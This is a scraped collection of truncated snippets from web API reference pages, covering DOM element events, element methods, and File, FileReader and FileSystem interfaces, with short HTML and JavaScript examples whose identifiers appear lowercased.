... var para = document.getelementsbytagname("p").item(0); para.firstchild.data = "this is the first paragraph."; // create a new text node for the second paragraph var newtext = document.createtextnode("this is the second paragraph."); // create a new element to be the second paragraph var newelement = document.createelement("p"); // put the text in the paragraph newelement.appendchild(newtext); // and put the paragraph on the end of the document by appending it to // the body (which is the parent of para) para.parentnode.appendchild(newelement); } </script> </head> <body> <input type="button" value="change this document." onclick="change()"> <h1>header</h1> <p>paragraph</p> </body> </head> ...
Element: DOMActivate event - Web APIs
bubbles yes cancelable yes interface mouseevent examples <svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseprofile="tiny" xmlns:ev="http://www.w3.org/2001/xml-events" width="6cm" height="5cm" viewbox="0 0 600 500"> <desc>example: invoke an ecmascript function from a domactivate event</desc> <!-- ecmascript to change the radius --> <script type="application/ecmascript"><![cdata[ function change(evt) { var circle = evt.target; var currentradius = circle.getfloattrait("r"); if (currentradius == 100) circle.setfloattrait("r", currentradius...
... * 2); else circle.setfloattrait("r", currentradius * 0.5); } ]]></script> <!-- act on each domactivate event --> <circle cx="300" cy="225" r="100" fill="red"> <handler type="application/ecmascript" ev:event="domactivate"> change(evt); </handler> </circle> <text x="300" y="480" font-family="verdana" font-size="35" text-anchor="middle"> activate the circle to change its size </text> </svg> specifications specification status ui eventsthe definition of 'domactivate' in that specification.
Element: blur event - Web APIs
bubbles no cancelable no interface focusevent event handler property onblur sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result event delegat...
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Element.className - Web APIs
WebAPIElementclassName
example let el = document.getelementbyid('item'); if (el.classname === 'active'){ el.classname = 'inactive'; } else { el.classname = 'active'; } notes the name classname is used for this property instead of class because of conflicts with the "class" keyword in many languages which are used to manipulate the dom.
...however, take into account that element.getattribute returns null instead of "" if the element has an empty class attribute.
Element: click event - Web APIs
see also safari's docs on making elements clickable and the definition of "clickable element".
... add a dummy onclick="void(0)" attribute to the element or any of its ancestors up to but not including <body>.
Element.closest() - Web APIs
WebAPIElementclosest
example html <article> <div id="div-01">here is div-01 <div id="div-02">here is div-02 <div id="div-03">here is div-03</div> </div> </div> </article> javascript var el = document.getelementbyid('div-03'); var r1 = el.closest("#div-02"); // returns the element with the id=div-02 var r2 = el.closest("div div"); // returns the closest ancestor which is a div in div, here it is the div-03 itself var r3 = el.clos...
...est("article > div"); // returns the closest ancestor which is a div and has a parent article, here it is the div-01 var r4 = el.closest(":not(div)"); // returns the closest ancestor which is not a div, here it is the outmost article polyfill for browsers that do not support element.closest(), but carry support for element.matches() (or a prefixed equivalent, meaning ie9+), a polyfill exists: if (!element.prototype.matches) { element.prototype.matches = element.prototype.msmatchesselector || element.prototype.webkitmatchesselector; } if (!element.prototype.closest) { element.prototype.closest = function(s) { var el = this; do { if (element.prototype.matches.call(el, s)) return el; el = el.parentelement || el.parentnode; } while (el !== null && el.no...
Element: compositionend event - Web APIs
bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionend', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <labe...
...l>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } input[type="text"] { margin: .5rem 0; } kbd { border-radius: 3px; padding: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(event)...
Element: compositionstart event - Web APIs
bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionstart', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <la...
...bel>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } input[type="text"] { margin: .5rem 0; } kbd { border-radius: 3px; padding: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(even...
Element: compositionupdate event - Web APIs
bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionupdate', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <l...
...abel>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } input[type="text"] { margin: .5rem 0; } kbd { border-radius: 3px; padding: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(eve...
Element: focus event - Web APIs
bubbles no cancelable no interface focusevent event handler property onfocus sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result event delegat...
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Element: fullscreenchange event - Web APIs
if the user clicks on the "toggle fullscreen mode" button, the click handler will toggle full-screen mode for the div.
... html <h1>fullscreenchange event example</h1> <div id="fullscreen-div"> <button id="toggle-fullscreen">toggle fullscreen mode</button> </div> javascript document.getelementbyid('fullscreen-div').addeventlistener('fullscreenchange', (event) => { // document.fullscreenelement will point to the element that // is in fullscreen mode if there is one.
Element.getElementsByClassName() - Web APIs
however the following code will not work as one might expect because "matches" will change as soon as any "colorbox" class is removed.
...x'); for (var i=0; i<matches.length; i++) { matches[i].classlist.remove('colorbox'); matches.item(i).classlist.add('hueframe'); } instead, use another method, such as: var matches = element.getelementsbyclassname('colorbox'); while (matches.length > 0) { matches.item(0).classlist.add('hueframe'); matches[0].classlist.remove('colorbox'); } this code finds descendant elements with the "colorbox" class, adds the class "hueframe", by calling item(0), then removes "colorbox" (using array notation).
Element.getElementsByTagNameNS() - Web APIs
localname is either the local name of elements to look for or the special value "*", which matches all elements (see element.localname and attr.localname).
...var table = document.getelementbyid("forecast-table"); var cells = table.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "td"); for (var i = 0; i < cells.length; i++) { var axis = cells[i].getattribute("axis"); if (axis == "year") { // grab the data } } specifications specification status comment domthe definition of 'element.getelementsbytagnamens()' in that specification.
Element.hasPointerCapture() - Web APIs
examples <html> <script> function downhandler(ev) { const el = document.getelementbyid("target"); // element 'target' will receive/capture further events el.setpointercapture(ev.pointerid); /* ...
... } } function init() { const el = document.getelementbyid("target"); el.onpointerdown = downhandler; } </script> <body onload="init();"> <div id="target">touch this element with a pointer.</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'haspointercapture()' in that specification.
Element.matches() - Web APIs
WebAPIElementmatches
the matches() method checks to see if the element would be selected by the provided selectorstring -- in other words -- checks if the element "is" the selector.
... example <ul id="birds"> <li>orange-winged parrot</li> <li class="endangered">philippine eagle</li> <li>great white pelican</li> </ul> <script type="text/javascript"> var birds = document.getelementsbytagname('li'); for (var i = 0; i < birds.length; i++) { if (birds[i].matches('.endangered')) { console.log('the ' + birds[i].textcontent + ' is endangered!'); } } </script> this will log "the philippine eagle is endangered!" to the console, since the element has indeed a class attribute with value endangered.
Element: mouseenter event - Web APIs
html <div id='mousetarget'> <ul id="unorderedlist"> <li>no events yet!</li> </ul> </div> css styling the div to make it more visible.
...); mousetarget.addeventlistener('mouseleave', e => { mousetarget.style.border = '1px solid #333'; leaveeventcount++; addlistitem('this is mouseleave event ' + leaveeventcount + '.'); }); function addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = document.createelement("li"); // add the text node to the li element newlistitem.appendchild(newtextnode); // add the newly created list item to list unorderedlist.appendchild(newlistitem); } result specifications specification status ui eventsthe definition of 'mouseenter' in that specification.
Element: mouseleave event - Web APIs
html <div id='mousetarget'> <ul id="unorderedlist"> <li>no events yet!</li> </ul> </div> css styling the <div> to make it more visible.
...); mousetarget.addeventlistener('mouseleave', e => { mousetarget.style.border = '1px solid #333'; leaveeventcount++; addlistitem('this is mouseleave event ' + leaveeventcount + '.'); }); function addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = document.createelement("li"); // add the text node to the li element newlistitem.appendchild(newtextnode); // add the newly created list item to list unorderedlist.appendchild(newlistitem); } result specifications specification status ui eventsthe definition of 'mouseleave' in that specification.
Element: mouseout event - Web APIs
html <ul id="test"> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> javascript let test = document.getelementbyid("test"); // briefly make the list purple when the mouse moves off the // <ul> element test.addeventlistener("mouseleave", function( event ) { // highlight the mouseleave target event.target.style.color = "purple"; // reset the color after a short delay settimeout(function()...
... { event.target.style.color = ""; }, 1000); }, false); // briefly make an <li> orange when the mouse moves off of it test.addeventlistener("mouseout", function( event ) { // highlight the mouseout target event.target.style.color = "orange"; // reset the color after a short delay settimeout(function() { event.target.style.color = ""; }, 500); }, false); result specifications specification status ui eventsthe definition of 'mouseout' in that specification.
Element: mouseover event - Web APIs
html <ul id="test"> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> javascript let test = document.getelementbyid("test"); // this handler will be executed only once when the cursor // moves over the unordered list test.addeventlistener("mouseenter", function( event ) { // highlight the mouseenter target event.target.style.color = "purple"; // reset the color after a short delay settim...
...eout(function() { event.target.style.color = ""; }, 500); }, false); // this handler will be executed every time the cursor // is moved over a different list item test.addeventlistener("mouseover", function( event ) { // highlight the mouseover target event.target.style.color = "orange"; // reset the color after a short delay settimeout(function() { event.target.style.color = ""; }, 500); }, false); result specifications specification status ui eventsthe definition of 'mouseover' in that specification.
Element.namespaceURI - Web APIs
if the namespaceuri returns the xul namespace and the localname returns "browser", then the node is understood to be a xul <browser/>.
... if (element.localname == "browser" && element.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul browser } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
Element: overflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = document.getelementbyid...
...("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.log( event ); }, false); wrapper.addeventlistener("underflow", function( event ) { console.log( event ); }, false); toggle.addeventlistener("change", function( event ) { if ( event.target.checked ) { child.style.width = "40px"; child.style.height = "40px"; } else { child.style.width = "10px"; child.style.height = "10px"; } }, false); </script> specifications not part of any specification.
Element: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface.
... examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (eve...
Element.prefix - Web APIs
WebAPIElementprefix
syntax string = element.prefix examples the following logs "x" to the console.
... <x:div onclick="console.log(this.prefix)"/> notes this will only work when a namespace-aware parser is used, i.e.
Element.querySelector() - Web APIs
find a specific element with specific values of an attribute in this first example, the first <style> element which either has no type or has type "text/css" in the html document body is returned: var el = document.body.queryselector("style[type='text/css'], style:not([type])"); the entire hierarchy counts this example demonstrates that the hierarchy of the entire document is considered when applying selectors, so that levels outside the specified baseelement are still considered when locating matches.
... html <div> <h5>original content</h5> <p> inside paragraph <span>inside span</span> inside paragraph </p> </div> <div> <h5>output</h5> <div id="output"></div> </div> javascript var baseelement = document.queryselector("p"); document.getelementbyid("output").innerhtml = (baseelement.queryselector("div span").innerhtml); result the result looks like this: notice how the "div span" selector still successfully matches the <span> element, even though the baseelement's child nodes do not include the div element (it is still part of the specified selector).
Element: select event - Web APIs
for example, in html, select events can be dispatched only on form <input type="text"> and <textarea> elements.
... examples selection logger <input value="try selecting some text in this element."> <p id="log"></p> function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const input = document.queryselector('input'); input.addeventlistener('select', logselection); onselect equivalent you can also set up the event handler using the onselect property: input.onselect = logselection; specifications specification status ui eventsthe definition of 'select' in that specification.
Element.setAttributeNodeNS() - Web APIs
example // <div id="one" xmlns:myns="http://www.mozilla.org/ns/specialspace" // myns:special-align="utterleft">one</div> // <div id="two">two</div> var myns = "http://www.mozilla.org/ns/specialspace"; var d1 = document.getelementbyid("one"); var d2 = document.getelementbyid("two"); var a = d1.getattributenodens(myns, "special-align"); d2.setattributenodens(a.clonenode(true)); alert(d2.attributes[1].value) // returns: `utterleft' notes if the specified attribute already exists on the element, then that attribute is replaced...
... note that if you try to set without cloning the node, mozilla gives an ns_error_dom_inuse_attribute_err "attribute already in use" error, as the dom requires cloning for attr to be reused (unlike other nodes which can be moved).
Element.setCapture() - Web APIs
<html> <head> <title>mouse capture example</title> <style type="text/css"> #mybutton { border: solid black 1px; color: black; padding: 2px; box-shadow: black 2px 2px; } </style> <script type="text/javascript"> function init() { var btn = document.getelementbyid("mybutton"); if (btn.setcapture) { btn.addeventlistener("mousedown", mousedown, false); btn.addeventlistener("mouseup", mouseup, fals...
...e); } else { document.getelementbyid("output").innerhtml = "sorry, there appears to be no setcapture support on this browser"; } } function mousedown(e) { e.target.setcapture(); e.target.addeventlistener("mousemove", mousemoved, false); } function mouseup(e) { e.target.removeeventlistener("mousemove", mousemoved, false); } function mousemoved(e) { var output = document.getelementbyid("output"); output.innerhtml = "position: " + e.clientx + ", " + e.clienty; } </script> </head> <body onload="init()"> <p>this is an example of how to use mouse capture on elements in gecko 2.0.</p> <p><a id="mybutton" href="#">test me</a></p> <div id="output">no events yet</div> </body> </html> view live example...
Element.toggleAttribute() - Web APIs
html <input value="text"> <button>toggleattribute("readonly")</button> javascript var button = document.queryselector("button"); var input = document.queryselector("input"); button.addeventlistener("click", function(){ input.toggleattribute("readonly"); }); result dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom lev...
...om 1) removeattributens removeattributenode - polyfill if (!element.prototype.toggleattribute) { element.prototype.toggleattribute = function(name, force) { if(force !== void 0) force = !!force if (this.hasattribute(name)) { if (force) return true; this.removeattribute(name); return false; } if (force === false) return false; this.setattribute(name, ""); return true; }; } specification specification status comment domthe definition of 'element.toggleattribute' in that specification.
Element: underflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = document.getelementbyid...
...("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.log( event ); }, false); wrapper.addeventlistener("underflow", function( event ) { console.log( event ); }, false); toggle.addeventlistener("change", function( event ) { if ( event.target.checked ) { child.style.width = "40px"; child.style.height = "40px"; } else { child.style.width = "10px"; child.style.height = "10px"; } }, false); </script> specifications not part of any specification.
ErrorEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86...
..." y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/errorevent" target="_top"><rect x="116" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">errorevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from its parent event.
EventListener - Web APIs
example html <button id="btn">click here!</button> javascript const buttonelement = document.getelementbyid('btn'); // add a handler for the 'click' event by providing a callback function.
... // whenever the element is clicked, a pop-up with "element clicked!" will // appear.
EventTarget - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#f4...
...f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor eventtarget() creates a new eventtarget object instance.
File.File() - Web APIs
WebAPIFileFile
defaults to a value of "".
... example var file = new file(["foo"], "foo.txt", { type: "text/plain", }); specifications specification status comment file api working draft initial definition ...
File.getAsDataURL() - Web APIs
WebAPIFilegetAsDataURL
syntax var url = instanceoffile.getasdataurl(); returns a string representing a data: url example // fileinput is a htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // array with acceptable file types var accept = ["image/png"]; // img is a htmlimgelement: <img id="myimg"> var img = document.getelementbyid("myimg"); // if we accept the first selected file type if (accept.indexof(files[0].mediatype) > -1) { // display the image ...
...// same as <img src="data:image/png,<imagedata>"> img.src = files[0].getasdataurl(); } specification not part of any specification.
File.getAsText() - Web APIs
WebAPIFilegetAsText
example // fileinput is a htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = file...
...s[i]; // if file type could be detected if (file !== null) { if (accept.text.indexof(file.mediatype) > -1) { // file is of type text, which we accept // make sure it's encoded as utf-8 var data = file.getastext("utf-8"); // modify data with string methods } else if (accept.binary.indexof(file.mediatype) > -1) { // binary } } } specification not part of any specification.
File.name - Web APIs
WebAPIFilename
syntax var name = file.name; value a string, containing the name of the file without path, such as "my resume.rtf".
... example <input type="file" multiple onchange="processselectedfiles(this)"> function processselectedfiles(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { alert("filename " + files[i].name); } } try the results out below: specifications specification status comment file apithe definition of 'name' in that specification.
File.type - Web APIs
WebAPIFiletype
syntax var name = file.type; value a string, containing the media type(mime) indicating the type of the file, for example "image/png" for png images example <input type="file" multiple onchange="showtype(this)"> function showtype(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { var name = files[i].name; var type = files[i].type; alert("filename: " + name + " , type: " + type); } } note: based on the current implementation, browsers won't actually read the bytestream of a file to determine its media type.
... it is assumed based on the file extension; a png image file renamed to .txt would give "text/plain" and not "image/png".
File - Web APIs
WebAPIFile
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/blob" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" strok...
...e="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">blob</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/file" target="_top"><rect x="116" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">file</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor file() returns a newly constructed file.
FileReader: abort event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onabort examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .even...
...t-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load"...
FileReader: load event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onload examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; b...
...order: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } fu...
FileReader: loadend event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onloadend examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; ...
... height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.
FileReader: loadstart event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onloadstart examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5...
...rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; ...
FileReader: progress event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onprogress examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height...
...: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; ...
FileReader.readAsDataURL() - Web APIs
example html <input type="file" onchange="previewfile()"><br> <img src="" height="200" alt="image preview..."> javascript function previewfile() { const preview = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string preview.src = reader.result; ...
... }, false); if (file) { reader.readasdataurl(file); } } live result example reading multiple files html <input id="browse" type="file" onchange="previewfiles()" multiple> <div id="preview"></div> javascript function previewfiles() { var preview = document.queryselector('#preview'); var files = document.queryselector('input[type=file]').files; function readandpreview(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; preview.appendchild( image ); }, false); read...
FileSystemDirectoryEntry.getDirectory() - Web APIs
let dictionary = null; function loaddictionaryforlanguage(appdatadirentry, lang) { dictionary = null; appdatadirentry.getdirectory("dictionaries", {}, function(direntry) { direntry.getfile(lang + "-dict.json", {}, function(fileentry) { fileentry.file(function(dictfile)) { let reader = new filereader(); reader.addeventlistener("loadend", function() { dictionary = json.parse(reader.result); }); reader.readastext(dictfile); }); }); }); } the loaddictionaryforlang...
...uage() function starts by using getdirectory() to obtain the filesystemdirectoryentry object representing a subfolder named "dictionaries" located inside the specified app data directory.
FileSystemEntry.copyTo() - Web APIs
example this example shows how a temporary log file might be moved into a more permanent "log" directory.
... workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.copyto(direntry); }, handleerror); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data.
FileSystemEntry.fullPath - Web APIs
this can also be thought of as a path which is relative to the root directory, with a "/" prepended to it to make it absolute.
... function gotfilesystem(fs) { let path = ""; fs.root.getfile("data.json", { create: true, exclusive: true }, function(entry) { path = fullpath; }, handleerror(error)); return path; } obviously, this is somewhat contrived, since we know that the file's full path is "/data.json", having just looked it up ourselves, but the concept holds up for scenarios in which you don't know it.
FileSystemEntry.getParent() - Web APIs
example this example renames the file specified by the variable fileentry to "newname.html".
